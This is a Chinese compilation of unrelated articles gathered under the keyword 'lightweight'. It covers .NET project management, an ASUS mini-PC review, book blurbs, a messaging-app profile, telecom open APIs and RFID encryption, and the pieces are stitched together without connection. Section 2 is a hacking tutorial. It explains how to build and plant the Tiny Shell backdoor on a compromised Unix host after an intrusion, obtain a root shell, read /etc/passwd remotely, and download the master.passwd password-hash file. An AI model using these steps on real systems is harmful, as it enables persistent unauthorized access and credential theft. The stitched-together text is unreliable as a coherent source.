轻量级软件开发

2024-11-27

轻量级软件开发(精选11篇)

轻量级软件开发 篇1

摘要:给出了轻量级软件项目管理解决方案。从项目计划管理、配置管理、项目建模、需求管理、Bug管理与代码自动化生成6个方面进行了分析,并给出了实用的CASE工具。

关键词:项目管理,配置管理,代码自动化生成,.NET

“软件危机”是指落后的软件生产方式无法满足迅速增长的计算机软件需求,从而导致软件开发与维护过程中出现一系列严重问题的现象。“软件危机”于1968年由北大西洋公约组织的计算机科学家第一次提出,并随之诞生了“软件工程”这一学科。软件工程主要目的是研究用工程化方法构建和维护有效的、实用的和高质量的软件,从而避免“软件危机”。

“软件危机”已经提出40多年来,软件工程领域研究成果显著,取得了较大的成就。由于微电子技术的发展和计算机应用的普及,软件成本在计算机成本中所占的比例持续增长,软件项目日趋复杂,软件开发效率的提高也远远落后于信息化普及速度。因此导致“软件危机”问题不仅没有解决,而且愈演愈烈。对于软件工程的研究依然是一个比较热门的领域。软件项目的管理方法研究是软件工程学的研究领域之一,良好的软件项目管理模式对于对提高项目的成功率,减少开发成本和提升软件质量具有促进作用。

软件项目管理主要包括进度管理、成本管理、质量管理、风险管理与配置管理等。要进行有效的过程管理,必须制定科学的管理办法和使用有效的软件项目管理工具。

软件工程发展至今,陆续诞生了CMM(软件能力成熟度模型)、CMMI(能力成熟度模型集成)、RUP(统一软件开发过程)与MSF(微软解决方案框架)等成熟管理模型。这些解决方案对项目管理进行了全面的定义,一定程度上缓解了软件危机问题。诸如,CMMI中定义了详细的项目管理及过程管理模型,适合研发团队进行规范化设计。但对于不具有很高的复杂程度软件研发项目,完全按照CMMI或其它成熟的模型不切合实际,但是又必须以成熟模型为主要参考目标。本文根据实际软件项目管理与研发经验,提出了一种适合于中小型项目的轻量级项目管理解决方案。该方案主要适用于采用Microsoft.NET平台进行开发的项目团队。

1 轻量级项目管理过程

轻量级项目管理过程包括计划、需求、设计、编码、测试、发布与维护5个阶段。

计划阶段主要工作为调研用户需求,分析系统目标,分析系统开发的可行性,制定初步的项目计划。

需求阶段主要工作内容为与用户沟通,编写完善的“需求规格说明书”。“需求规格说明书”包括软件的功能需求、性能需求、非功能性需求、环境约束和外部接口等。

设计阶段主要包括概要设计和详细设计两个部分,由架构师针对软件的需求设计出系统总体流程、子系统、数据与对象描述、算法和程序接口等。

编码阶段的主要工作内容为将设计描述为可编译的源程序。

测试阶段的主要工作任何为根据需求规格和设计文档,对软件的功能进行验证。测试与需求阶段同步开始,到项目验收前结束。

发布阶段的主要工作是,对于软件产品进行安装部署,发布以后还需要根据用户要求和产品实际情况进行维护。

轻量级软件项目管理解决方案的目标是针对中小型软件项目运作的实际情况,建立行之有效的管理体系和沟通机制,提供项目开发效率,保障产品质量,确保项目能如期交付。主要管理的内容是开发过程中的各类文档、进度控制管理、BUG跟踪与代码同步协作开发。

2 轻量级项目管理实施

笔者所在的团队主要以Microsoft.NET为基础开发平台,数据库采用Sql Server系列,软件项目管理方案主要基于以上经验获得。因此本方案主要适用于使用.NET平台的开发的各类中小型项目,B/S与C/S项目均可。方案主要内容为:

2.1 项目计划管理

软件项目管理的目的主要是确定项目的范围、进度和费用。项目计划就是要对项目整个实施过程的目标、任务、进度和责任委派做出具体的规定和部署,它在项目管理中处于中心地位。项目计划主要包括设计工作分解结果。此阶段主要使用的工具为:Microsoft Project等。

2.2 配置管理

配置管理过程是对处于不断演化、完善过程中的软件产品的管理过程。其最终目标是实现软件产品的完整性、一致性、可控性,使产品极大程度地与用户需求相吻合。它通过控制、记录、追踪对软件的修改和每个修改生成的软件组成部件来实现对软件产品的管理功能。常见的用于支持配置管理的工具有CVS、Subversion、VSS、Star Team、CC等等。我们选择VSS2005为团队配置管理工具。主要原因是:VSS为轻量级平台,便于部署和迁移;VSS与微软发布的产品Visual Studio.NET2008/2010等兼容性非常好。

配置管理模板包括PP(项目计划)、RD(需求)、TS(设计)、V&V(验证与确认)等环节的各类文档,如需求规格说明书、项目计划、RD_用例报告、TS_概要设计说明书、详细设计说明书、数据库设计说明书、安装维护手册、测试计划、测试方案与单元测试记录等。

2.3 项目建模

方案采用的建模工具有Enterprise Architect与Power Designer。

Enterprise Architect是以目标为导向的软件系统。它覆盖了系统开发的整个周期,除了开发类模型之外,还包括事务进程分析,使用案例需求,动态模型,组件和布局,系统管理,非功能需求,用户界面设计,测试和维护等。Enterprise Architect是一个完全的UML分析和设计工具,它能完成从需求收集经步骤分析、模型设计到测试和维护的整个软件开发过程。它基于多用户Windows平台的图形工具可以帮助您设计健全可维护的软件。除此,它还包含特性灵活的高品质文档输出。用户指南可以在线获取。

Sybase Power Designer是一个"一站式"的企业级建模及设计解决方案,它能帮助企业快速高效地进行企业应用系统构建及再工程(Re-engineer)。使用该工具可以设计数据流程图、概念数据模型与物理数据模型,包括了数据库建模的全过程。该工具在项目中主要用于数据库建模。支持数据库的正向和反向工程,便于数据字典维护与调整。

2.4 需求管理与Bug跟踪

我们采用Mantis作为项目管理和Bug跟踪平台。Mantis是一款基于Web的Php+Mysql的开源BUG管理系统,一款简单实用的系统,具有截图功能和强大的报表功能。Mantis还具有良好电子邮件支持,可将需求与Bug的各种状态定义按照预定设置发送到项目组相应邮箱。

对于新增需求变更,经历提出需求、确认需求、开发需求、测试需求到发布需求五个阶段,这五个阶段分别由需求工程师、开发工程师、测试工程师与配置管理工程师进行完成。通过Mantis提供的基于Web的协作系统,可以很方便的进行需求变更管理和跟踪。

对于已发布的项目所产生的Bug,通过Mantis也可以进行记录、跟踪。其邮件提醒功能使得Bug状态一旦发生改变,会立即通知到相关责任人进行处理。同时,其强大的统计和报表功能也便于统计各项目的Bug量,统计测试人员报告的数量等关键值。

2.5 代码自动化生成

轻量级项目均采用三层结构进行设计。三层结构模式如图2。

三层结构包含:表示层(UI),业务逻辑层(BLL),数据访问层(DAL),各层特点如下:

数据访问层:主要是对原始数据的操作层。可以操作数据库、文本文档或XML文件等多种数据格式,执行对数据库的增、删、查、改操作。数据访问层还可以通过OR映射进行扩充。

业务逻辑层:是系统的核心层,位于数据层和表示层中间,主要实现业务规则制定与业务流程实现。业务逻辑层直接调用数据层,并接受表示层的调用,起到承上启下的作用。

表示层:表示层是与用户直接交互的一层,主要处理用户的输入操作,提供交互式接口。在项目实现过程中,表示层一般为Web Form或Win Form等形式。

三层结构的划分,体现了“高内聚、低耦合”的设计思想,有效降低层与层之间的依赖,增强各层的复用性,有利于标准化开发。但三层结构也存在着降低性能、级联修改等问题。但轻量级项目一般侧重于业务流程,对于系统性能要求不高,而且计算机芯片的发展使得项目开发效率越来越比性能更重要。因此,轻量级软件项目均采用三层结构设计。

除此之外,还有业务实体层(Model),这个层主要内容是存放可持久化的实体类;通用工具类库(Common),主要用于存放通用的管理类库。类库的存在形式一般为Static类和Static方法。由于开发模式基本相似,所以开发过程中的大量相似代码,如:实体类、数据库操作类、UI界面,均可采用工具生成。.NET平台下比较优秀的代码生成工具有李天平的动软.NET代码生成器Codematic和国外成熟的代码生成器Code Smith。

轻量级项目采用动软.NET代码生成器为主要生成工具。动软.NET代码生成器Codematic是一款为.net程序员设计的自动代码生成器,Codematic生成的代码基于面向对象的思想和三层架构设计,结合了微软Petshop中经典的思想和设计模式,可以通过反射支持多数据库,支持对连接字符串加密等。Codematic在项目中主要针对数据库中的表或视图生成表示层、业务层、数据层及实体等代码。使得开发人员完全从重复的录入过程中解脱。最新版本的Codematic还支持模板语法,开发人员可根据实际项目需要生成相应的表示层或数据层的SQL代码。以下是动软.NET生成器生成的Visual Studio.NET2010解决方案结构。

3 结束语

本文根据中小型研发项目实际需要,提出了一种轻量级开发的项目管理解决方案。方案主要针对项目计划管理、配置管理、项目建模、需求管理与Bug跟踪、代码自动化生成5个方面进行了定义和分析,给出了各过程中最佳的解决方案和管理工具。轻量级的项目管理解决方案已经大量应用于团队所承担的各类研发项目中,与方案实施前相比,开发更高效、项目进度可控,能有效的提高软件产品质量。

参考文献

[1]季丽萍.浅谈.NET三层结构及其应用[J].福建电脑,2009(6).

[2]李立芳,周小平.软件项目管理活动浅析[J].中国科技信息,2010(10).

[3]范振钧.基于ASP.net的三层结构实现方法研究[J].计算机科学,2007(4).

[4]孙继红.基于.NET三层架构的网上商城设计与实现[J].电脑编程技巧与维护,2008(16).

[5]于红波.三层结构各层次的实现技术研究[J].山东纺织科技,2008(1).

[6]刘宇翔.软件项目管理的流程设计分析[J].科技资讯,2010(36).

[7]邹晖.软件项目管理开发与应用[J].中小企业管理与科技:上旬刊,2011(5).

[8]徐朝辉,樊银亭.MVC设计模式在.NET三层结构开发中的研究和实现[J].北京电子科技学院学报,2007(2).

轻量级软件开发 篇2

一,前言

随着互联网的发展,使用Unix/Linux系统的越来越多,而入侵一台Unix/Linux系统也不再是什么难事了,通常,在入侵成功之后,都会留一个或几个后门,以便再次进入;对于Unix/Linux系统,后门的种类比较多,初级的有修改“.rhosts”文件,复制一个Shell到一个隐藏目录,修改etc/passwd文件加用户等手段。较高级的莫属使用内核模块后门(Rootkit)了,它是Unix/Linux系统下最高级别的后门,也许最具有隐蔽性的,但今天我并不说Rootkit,因为它的使用过于复杂,对没有Unix/Linux系统使用经验的人来说,更是难以驾御。而Tiny Shell作为一款运行于Unix/Linux系统下的轻量级Shell工具,不仅小巧,还支持另外一些不错的功能,具体请看下文。

二,应用

1,Tiny Shell简介

Tiny Shell是一款轻量级的标准远程Shell工具,可以提供远程执行命令(包括:Rlogin,Telnet,Ssh等)和文件传输功能(上传、下载),支持单字节,完全支持Pseudo-Terminal Pairs(pty/tty)等伪终端。并使用强大的160-bit RC4加密,以躲避嗅探器的检测具备AES-128 + HMAC-SHA1的强大加密和认证。支持FreeBSD,NetBSD, OpenBSD,Solaris、SunOS,HP-UX,IRIX,Cygwin,Linux等系统。

2,Tiny Shell应用

测试环境:

本地:OpenBSD 3.4IP:192.168.0.40

目标:FreeBSD 4.9 STABLEIP:192.168.0.20

首先下载Tiny Shell,解压缩后修改源代码,以求该工具更能符合我们的要求。

#fetch www.ringz.org/tsh-0.6.tgz

#tar zxvf tsh-0.6.tgz

#cd tsh-0.6

#ls

ChangeLogREADMEaes.hpel.hsha1.htsh.h

Makefileaes.cpel.csha1.ctsh.ctshd.c

#vi tsh.h

char *secret = “replace with your password”;

//连接后门的密码,我修改为dahubaobao。这个后门的主程序是tsh.c,先看看下边的源代码

if( password == NULL )

{

/* 1st try, using the built-in secret key */

ret = pel_client_init( server, secret );

if( ret != PEL_SUCCESS )

{

close( server );

/* secret key invalid, so ask for a password */

password = getpass( “Password: ” );

goto connect;

}

}

//重点在这里:ret = pel_client_init( server, secret );

把secret变量作为了参数,也就是连接后门所需要的密码。现在知道为什么修改tsh.h了吧。

#define SERVER_PORT 7586

//后门简听的端口,任意修改

if( argc == 5 && ! strcmp( argv[2], “get” ) )

{

action = GET_FILE;

}

if( argc == 5 && ! strcmp( argv[2], “put” ) )

{

action = PUT_FILE;

}

//该后门并没有帮助信息,所以查看这里得知Get为下载,Put为上传,

当然,如果你喜欢,可以自行修改。另外,如果你想该后门输出帮助信息,可以自己添加一个Printf语句来输出帮助信息。这里给出一个最简单的方法,我们在不加参数的情况下执行./tsh的时候,会提示gethostbyname failed.,然后查看源代码,找到fprintf( stderr, “gethostbyname failed. ” );这句代码,聪明的你也许想到了,就是修改gethostbyname failed.为你想要的帮助信息,这样,在执行./tsh的时候,就会自动输出帮助信息了。呵呵,也算一种变相修改吧。下面开始编译源代码。

#make

Please specify one of these targets:

make linux

make freebsd

make openbsd

make netbsd

make cygwin

make sunos

make irix

make hpux

make osf

#make openbsd

//根据你的系统做相应的选择,10秒钟就编译好了(如图1)。

然后,会在当前目录下生成两个可执行文件,一个客户端,一个服务端,分别为:tsh,tshd。现在将tshd复制到目标系统(FreeBSD),然后执行./tshd完成安装。为了更清楚的表示我使用的环境,所以回到本地执行id命令,得知该用户的UID=1000,是普通用户;现在使用./tsh 192.168.0.20来接连目标主机(为了测试方便,我就不加密码了),好,现在我们获得了一个Root权限的Shell,再使用id命令(注意,这是在目标主机上),可以看到UID=0了,这可是Root权限哦!执行uname Ca命令,回显为FreeBSD系统,可见已经成功连接后门并登陆了(如图2)。另外,该后门还可以在连接的时候插入Shell命令,语法为./tsh 192.168.0.20 “command”,比如./tsh 192.168.0.20 “cat etc/passwd”,这条命令的意思是连接192.168.0.20目标主机,接着执行cat etc/passwd命令,这样,目标主机的passwd文件我们就一览无余了(如图3)。但要注意,使用这种形式并没有登陆目标主机,只是连接目标主机,然后插入一个Shell命令而已。

现在我们来看看上传、下载的使用方法。从源代码中知道,上传的关键字为Put,下载的关键字为Get。好,先来看看如何上传文件,执行“./tsh 192.168.0.20 put 文件名 目标主机目录”即可完成上传,但要注意,文件要在当前目录下,也就是和tsh在同一个目录下。我上传的一个back的二进制文件,使用./tsh 192.168.0.20 put back /,这条命令是将back文件上传目标根目录,然后我再使用./tsh 192.168.0.20连接到目标主机,ls查看back是否已经上传到了对方主机(如图4),呵呵,还不错吧!在来看下载文件,它的语法为“./tsh 192.168.0.20 get 目标文件 本地目录”,现在我们来获得其最敏感的文件----master.passwd(影子文件,也就是Linux系统下的shadow文件)。执行./tsh 192.168.0.20 get etc/master.passwd /home/dahubaobao,意思为下载目标主机的master.passwd文件到本地的/home/dahubaobao目录,然后使用ls查看,可以看见已经将对方的master.passwd下载到了本地(如图5),再vi master.passwd(如图6),哈哈,用户的加密密码近在眼前。提示,FreeBSD的用户密码是采用MD5加密的。

小结

轻量级选手 篇3

说到迷你型电脑,我们不妨先从MODT的概念说起。所谓MODT,就是Mobile On DeskTop的缩写,意思就是将移动技术应用在桌面平台上。这种尝试大约是从凌动(Atom)这颗移动处理器上开始的,当时凌动处理器在“上网本”这类产品上一炮打响后,PC厂商也希望利用其低功耗的优势将它移植到迷你型的客厅电脑中。按照当时的产品定位,英特尔凌动处理器显然属于移动平台,而客厅电脑的机身体积再小,毕竟也属于台式机的范畴,显然就是MODT设计理念下的产物。当消费者表示凌动处理器性能有限、难以满足日常娱乐的应用需求时,PC厂商又开始尝试将性能更好的酷睿平台移植到迷你型电脑中,这次尝试的当然就是酷睿移动处理器,比如带U后缀的酷睿移动处理器,从去年开始,以英特尔NUC为代表的迷你PC也带动了客厅电脑的再次升温。

客厅电脑的应用,显然就是以播放高清视频为主,这对于早期的凌动处理器来说,是有些勉为其难的。随着制造工艺水平的不断提升,英特尔第四代酷睿家族处理器的部分产品已经将热设计功耗控制在20瓦以内,完全不逊于早期的凌动平台,而性能则远胜于后者,为迷你PC的高清娱乐应用提供了有力的硬件支持。我们欣喜地看到,如今的迷你型PC已经成为名副其实的客厅电脑,像华硕这款VivoPC,小巧的机身下依然动力十足。

ASUS VivoPC包含两种规格——VM60和VM40B,颜色上以黑色和银灰色作为区别。我们收到的这款是银色的VM40B,采用Ivy Bridge核心的赛扬1007U低功耗处理器(另一款黑色的VM60按照华硕网站上给出的规格则是基于英特尔第三代酷睿的配置)、2GB DDR3笔记本内存。ASUS VivoPC在销售时应该是不配备硬盘的,这也是为了体现该产品的一个设计特色——既可以采用3.5英寸硬盘,也可以使用2.5英寸的硬盘(安装硬盘后再扣上一个塑料框架,可以确保硬盘的稳固性)。就是说用户可以根据自己的需求来选择合适的硬盘,如果偏好于下载和本地存储,那就选择大容量的3.5英寸机械硬盘;如果更偏重于PC的性能、娱乐应用借助网络存储来实现(比如有专门的NAS或是习惯从云端获取资源),则可以选择2.5英寸的固态硬盘。

从多媒体应用的角度来说,ASUS VivoPC采英特尔核芯显卡基于Ivy Bridge核心,支持包括AVX在内的丰富多媒体指令集,在视音频编码、解码运算方面有独到的优势,同时也支持4K分辨率的视频输出,在低功耗的基础上实现了优越的高清娱乐功能,可谓是一种最理想的HTPC解决方案。在音效方面,华硕历来在笔记本、一体机等产品上毫不妥协,按照SonicMaster美声大师标准进行调校,这款VivoPC也不例外,小巧的机身内提供了双声道的扬声器单元,其音效和功率还相当出色,即便是连接普通的显示器来使用,也能获得不错的声音效果;当然要是通过HDMI接口和电视相连,也就忽略其内置的扬声器效果了。

从功能接口来说,体积小巧的VivoPC完全不输于标准台式机,它提供了千兆以太网和802.11ac双频无线网络的连接方式,支持VGA和HDMI两种视频输出模式,机身上具有4×USB 2.0、2×USB 3.0以及多功能读卡器接口;如果你希望获得环绕音响效果,还可以借助三个音频插孔和光纤输出实现7.1声道的音频输出,从而获得家庭影院的视听享受。购买ASUS VivoPC的用户,还可以获得一年免费的100GB网络存储空间。试想一下,躺在沙发里用手机遥控PC,在高速的无线网络下畅享云端的丰富媒体资源,这是何等惬意的一种体验。

轻量级软件开发 篇4

出版时间:2013-10-01

ISBN:11315544

所属分类:

图书>计算机与互联网>编程语言与程序设计

图书>套装书>计算机

《疯狂Java讲义 (第2版) (含CD光盘1张) 》深入介绍了Java编程的相关方面, 全书内容覆盖了Java的基本语法结构、Java的面向对象特征、Java集合框架体系、Java泛型、异常处理、Java GUI编程、JDBC数据库编程、Java注释、Java的IO流体系、Java多线程编程、Java网络通信编程和Java反射机制;覆盖了java.lang、java.util、java.text、java.io和java.nio、java.sql、java.awt、javax.swing包下绝大部分类和接口。本书全面介绍了Java7的二进制整数、菱形语法、增强switch语句、多异常捕获、自动关闭资源的try语句、JDBC4.1新特性、NIO.2、AIO等新特性。

《轻量级Java EE企业应用实战 (第3版) :Struts2+Spring3+Hibernate整合开发 (含CD光盘1张) 》介绍了Java EE领域的三个开源框架:Struts2、Spring和Hibernate。其中Struts2升级到2.2.1, Spring升级到3.0.5, Hibernate升级到了3.6.0。本书还全面介绍了Servlet3.0的新特性, 以及Tomcat7.0的配置和用法, 本书的示例应该在Tomcat7.0上运行。

Blink:轻量级的熟人IM 篇5

对于这款新产品,施凯文理解的定位是以Video Message为主的聊天工具。Blink上的沟通方式包含图片和短视频,并且将“阅后即焚”作为基本属性。在微信越来越“重”的今天,Blink主打的是轻量级和简单、无拘束,施凯文想借此营造的是一种可以轻松到无目的性、无压力的聊天状态。

新的兴奋点

从Jing.FM出来之后,施凯文说自己痛苦了挺长一段时间。在这之前,他在公众面前的形象一直和音乐有关,无论是4岁开始学习古典钢琴,16岁考入中央音乐学院,还是之前自己参与的一系列创业项目,这其中包括一家唱片公司、Koocu音乐网、Saylikes音乐网和后来的Jing.FM。“因为一直都想在音乐上做些改变。”

今年春节过后,施凯文也尝试过继续待在音乐行业,甚至还去腾讯面试过,拿到offer之后也犹豫过一段时间,最终还是决定出来再创业。但国内的音乐市场正在变得越来越“贵”,大公司陆续进入,版权费日益高涨,施凯文不得不接受:音乐行业已经不再适合创业型公司进入。

“还是再去找些能让自己兴奋的东西吧”,把国内比较热门的几个创业领域比较了一番,施凯文最终选择了社交。兴奋点则在于社交产品的风险性:做得好每个人都会去用,市场空间很大,而做不好的话却几乎不会有用户。

国内的社交产品大致可以被划分成三类方向:一类是当时正火的匿名社交,媒体热议,创业者也在不断加入;一类是熟人社交,因为微信的存在而成为相当红海的市场;还有一类则是以陌陌为代表的陌生人社交。考虑到匿名社交的负能量不太符合自己的性格,施凯文决定从熟人社交下手,计划在这类方向中直接做一款IM。今年5月初,施凯文接受了来自创新工场百万美金左右的天使投资,开始研发新产品。

初次打开Blink时很容易感到茫然,因为直接就是一个拍摄界面。学习适应之后则会觉得Blink的使用过程相当流畅:打开之后,点击屏幕右侧的联系人头像即可给对方发送图片,长按则会进入15秒短视频的录制倒计时;拍摄时只需要左右或者上下滑动屏幕就能切换前后摄像头;拍完照片之后,还可以附上语音、文字和涂鸦,来增加聊天内容的趣味性。

Blink的聊天记录只会出现在最后到达那一方的手机屏幕上,而如果对方超过24小时没有回复,信息即被自动删除。施凯文认为这样做的好处是能够让熟人之间的聊天状态更加轻松,随时随地和朋友分享——打开,拍摄,加入语音或文字,“咻”的一声发送出去。

但为什么要用Blink和朋友聊天呢?施凯文把那些能够在这上面找到存在感的内容比喻成“垃圾信息”——不带有明显的目的性,看起来琐碎无用,却在线下生活中构成了每天和身边的熟人交流的大部分内容。在他看来,微信上的对话的发起大多会基于一定的目的,即使是和关系相对紧密的熟人甚至亲人,“也都是想要说什么事情了才会点开对话框”。但他发现,线下的日常生活中,好友之间经常分享的却是那些并不带目的性的碎片化信息——八卦、闲扯、讨论对方的新衣服……。这些很难被称为“社交”的交流,却构成了大多数人的日常生活。

于是Blink就成了这样一款产品,在微信承载了越来越多工作内容的情况下,消化用户生活中随时可能发生的无用对话。而这也正是施凯文的目的:“把生活的碎片化打造到极致。”

这种新的聊天方式,在施凯文看来,主要意味着无拘束,操作简单、不会保存,并且支持离线,可以在无聊的时候才打开接受来自朋友们的“无聊信息”;另一种则是聊天形式的不拘束,图片、短视频、文字、语音、涂鸦,很难用什么方式来界定。

阅后即焚就是不再端着

Blink推出之前,今年7月初,施凯文和团队还推出了一款新的壁纸应用——无限壁纸。这个业余项目用五天时间就开发完成了,被放到iOS和Android两个平台,日活跃用户量很快就到了两万多。“(做这个项目)就是想试探下我们可以有多快。”

Blink的开发也很快——5月定下产品方向,8月中旬产品已经正式上线。在融资方面施凯文也在追求尽可能地快,产品推出之后公司就已经启动了A轮融资。对“快”的追求来自施凯文的危机感:在同类产品尚未出现的情况下,他要让Blink尽快占有市场。

虽然把Blink看作熟人IM市场中微信之下可能存在的新机会,但施凯文对这款产品的预期却相对轻松:“用户也不会使劲挂在上面,但每天总会上来一两次,转移他们‘垃圾’生活的那部分。”

这和施凯文对“阅后即焚”概念的理解有关。国内对这个词的理解可能更多偏向隐私方面,但他认为应该还有另一层含义:并不是所有信息都需要被沉淀下来。“像Instagram、美拍、微信这些,用户可能拍十次才会发一次”,因为发上去的东西都会被记录,施凯文觉得这种生活状态更多是在“端着”,而阅后即焚就可以免除这些考虑,“用户就可以肆无忌惮地创造垃圾信息”。

所以在Blink上创造内容的成本很低,随便拍张照片或者录段短视频就能发送,不用考虑美化或是剪辑。想要增加趣味可以用手指随便涂抹,而如果想要结束当前对话,直接拖动甩出即可。

虽然聊天内容不会被沉淀,但施凯文接下来会尝试在上面沉淀些别的信息来增强产品的阅读属性,从而降低内容消费的门槛,“让那些不习惯创造内容的用户也能上来使用”。

轻量级软件开发 篇6

同时, 运营商也希望借用这种电信服务的二次分发渠道, 促进基本电信服务的销售。尤其是终端与软件厂商在在线应用商店市场的竞争烽烟四起之时, 运营商必须利用电信能力 (可靠的通信服务、用户数据、情境、认证、计费等) 打造一条新的差异化道路。

运营商的积极尝试

在开放电信能力方面, 全球范围内多数大运营商已经开始了积极尝试。比如, Orange早在2004年5月就启动了Partner计划, 这可能是目前最大的第三方生态体系, 据称已拥有超过6万名开发者会员。Telefonica从2009年开始在西班牙、英国推广Mashup (混搭) 应用, 在西班牙已经有超过1800个开发团体, 并且预计前5年API带来的收入平均每年会增长130%。此外, 像at&t、BT、Vodafone以及国内的大运营商也都正在开展相关的行动, 具体内容见表1。

多种方案齐绽放

表1里面出现了很多和开放电信能力相关的术语, 比如RES T、GSMA OneAPI等, 下面我们就来对这些术语以及相关的解决方案与组织进行阐释。

其实开放电信能力并非什么新想法, 早在1998年Parlay组织的成立正是致力于为电话网络开发API。借助这些API, 第三方机构可以创建自己的应用。Parlay组织在这方面做了统一的标准化工作, 制定了基于CORBA的Parlay/OSA API, 对各种电信能力的使用进行编程方面的统一工作。另外Parlay/OSA API也获得ETSI与3GPP共同协助。在3GPP中, Parlay被当成开放服务架构 (OSA) 的一部分。

Parlay X

Parlay/OSA API的调用比较复杂, 应用虽然可以做到跨平台, 但如果要实现比较复杂的电信能力调用, 那么开发者就需要具备相当的电信知识。于是在2003年, Parlay组织发布了一套名为Parlay X的Web服务, 制定了基于Web服务的Parlay X API, 使得应用对电信能力的使用做到进一步的抽象和简化, 屏蔽了电信协议和控制逻辑的原始性和复杂性, 因此这些API使用起来非常方便。例如, 应用开发人员可以调用单个Web服务请求, 获取某移动设备的位置或者拨打电话。该API集适用于大部分开发人员。目前, Parlay X规范由开放移动联盟 (OMA) 负责管理。

在W e b2.0领域, 支持A j a x技术的API相对应用比较广泛, 风格为REST (REpresentational State Transfer, 表示性状态转移, 是2000年Roy Fielding博士在博士论文中提出来的一种软件架构风格。REST不是一种新技术, 也不是一种标准, 而是一组设计原则) 。

与基于SOAP的Web服务 (Parlay X就是基于SOAP的Web服务) 相比, REST API更加轻量级, 具有更优良的开发者友好性, 便于Web应用的开发和Mashup。因此越来越多的Web服务开始采用REST风格设计和实现。例如, Amazon.com提供接近REST风格的Web服务进行图书查找, 雅虎提供的Web服务也是REST风格的 (维基百科) 。

因此就诞生了Parlay REST (面向Parlay X的RESTful约束) , 它是开放移动联盟OMA颁发的一套标准规范, 旨在为OMA中的Parlay X Web服务规范 (子) 集指定REST Web服务约束。

REST风格API的目标用户是典型的Web开发商。这些开发商对电信服务不是非常了解, 但是可以像使用Google或亚马逊服务一样轻松地使用REST服务。

GSMA OneAPI

在开放电信能力方面, GSMA也曾经制定过一项计划, 致力于为移动运营商定义一个通用API, 即OneAPI, 这样Web以及其他应用开发商便可以自由访问网络能力。这些API将同时使用RESTful和Web服务接口。执行该计划的基础是3GPP在TS29.199中定义的Parlay X。计划实施的第一批API将面向消息传送和定位功能。开发商可从中获得巨大的优势, 他们的应用能够以统一的方式从多个支持OneAPI的运营商那里获得相关资源。

从根本上讲, OneAPI是GSMA第三方访问项目提议的API集, 已被作为OMA Parlay REST标准化活动的内容提交。该提议目前仍处于初期阶段, 不过项目团队将尽力让运营商和第三方开发商针对接口定义达成一致, 鼓励运营商积极实施, 促进第三方开发商广泛使用这些接口。

OneAPI计划的真正焦点并不是API技术创新, 而是部署第三方门户的约束和商业/法规要求, 包括安全模式、策略实施、支付调解、商业战略、业务模式等等。

迎合Web发展趋势

上面提到了两种类型的电信能力开放方案:Parlay X与REST模式, 下面来比较一下两种方案的优劣。

P a r l ay X是一套典型的基于WS-*的Web服务。WS-*是指一系列Web服务的协议与标准, 例如WS-Notification、WS-Security、WSDL和SOAP。业界也称之为“大Web服务”, 与轻量级的REST式Web服务相对。

使用WS-*来开发Web服务并不足够简单。WS-*栈的复杂度通常需要中间件协助开发。互操作性方面也存在一些问题, 虽然WS-*栈为互操作性作了充分的考虑, 但实际上由于中间件的实现和对规范的理解不同, 用不同中间件实现的客户端和服务端之间的通信因此往往比较脆弱。另外, 简单的脚本语言例如Javascript调用WS-*服务有一定难度。而本质上, WS-*历史上源于RPC, HTTP只是作为传输层协议, 因此WS-*并没有充分利用Web得以成功的优点。WS-*与REST的比较如表2所示。

通过表2的对比, 我们可以看出REST的电信API比Parlay X更加简单, 并且其Web服务更加贴合Web的特点;另外从开发商的角度来看, REST更加受青睐。甚至REST式的电信API更适合Web 2.0 Widget轻量级应用与Mashup的开发, 比较迎合Web应用的发展趋势。

为应对电信能开放的趋势, 爱立信已经推出相关产品:业务能力开放网关 (SIG) , 支持以REST或SOAP方式开放API。基于SIG解决方案, 爱立信推出Web IMS业务平台, 将IMS通信能力与业务引擎以REST风格的Open API对用户和第三方应用开发者开放。爱立信的SIG、Web IMS解决方案已经在全球范围内获得运营商的广泛认可。

RFID标签的轻量级加密 篇7

本文重点描述针对RFID标签的轻量级加密方案, 并检测现存各种加密方案在安全性和隐私等级方面存在的可能风险, 同时从硬件和软件着手改进, 对RFID下一步在实践中的应用提出了指导意见。

1 RFID及加密

当今社会对通信的要求是易接入、数据共享以及快速安全, 轻小智能设备正是在这种需求下得到了推广与应用。随着对轻小智能设备需求的增长, 选择或是开发何种加密方式来保证该类受限设备的安全性引起密码学者的高度关注。在这些设备中, RFID标签 (起于二战时期) 已经得到了普遍的应用开发, 比如代替条形码以及生物特征识别技术在市场上的广泛应用。RFID技术开拓了一种对物品或者人认证的简单方法。其通信方式为, RFID标签直接与RFID读写器通信, 而读写器始终与后方数据服务器永久保持连接。

RFID标签由标签天线和标签专用芯片组成。依据供电方式的不同, 可分为有源、无源和半无源标签。有源标签内装有电池, 无源标签内没有装电池, 半无源标签内部分依靠电池工作。

1.1 隐私安全问题

随着RFID标签应用的推广, 与之相关的安全隐私问题也随之而来。比如, 用于识别某物品的标签遭到攻击者的攻击, 该攻击者可以通过与标签建立通信而读取其识别码, 进而可推测出与之相关的物品的属性。

即使是更低级的攻击也会造成RFID标签的隐私泄露。敌手可以使用痕迹追踪, 把同一个标签与事先准备好的多个协议相匹配, 从而判定该标签所使用的协议类型。该类攻击成功与否取决于受攻击标签的类型以及攻击者的能力, 攻击者可能成功篡改标签并获取标签的内部密码以及临时存储内容。

1.2 针对RFID系统的一种隐私模型

Serge Vaudenay为RFID系统提出了一种直观的隐私模型, 即任何隐私的泄漏是由协议信息泄漏引起的。它为RFID系统定义了一种安全隐私, 即使攻击者掌握了整个系统交互信息也无法推测出任何隐私信息。它为系统抵御伪装攻击定义了一种隐私安全模型, 在伪装攻击中敌手试图使非法的读写器读取标签中的内容。

实践证明, 将隐私安全用数学语言表示出来很困难, 研究者提出了很多种方法。比如, Ari Juels和Stephen Weis提出如果没有敌手可以在他们已经筛选出来的两个可能标签之间指出哪个标签是协议正在通信的一个, 则认为该协议隐私安全。Robert Deng和他的同事给出了一种更广义的定义, 他们要求标签的通信是“零知识” (zero-knowledge) , 利用此法, 敌手无法获得某标签交互过程中的任何信息。[6,7]

但是, 前面的两种定义均没有考虑敌手利用多个标签同时攻击隐私安全的情况。此种情况下, 可论证Vaudenay的定义更有意义。但是, 用数学的方法公式化该想法仍然与主观意义不匹配。定义中阐述如下, 作为敌手的仿真器产生相同的输出, 但是无法获取协议信息。正因为此种不相匹配, 研究者认定找出完全满足双向单边认证 (标签认证自身, 双向认证是由标签和阅读器互相向对方认证自身完成的) 的更高级别的隐私安全是不可行的。Khaled Ouafi提出一种观点来修复该定义, 他认为给仿真器提供敌手的所有情况来判断某个申请是否是无效的。

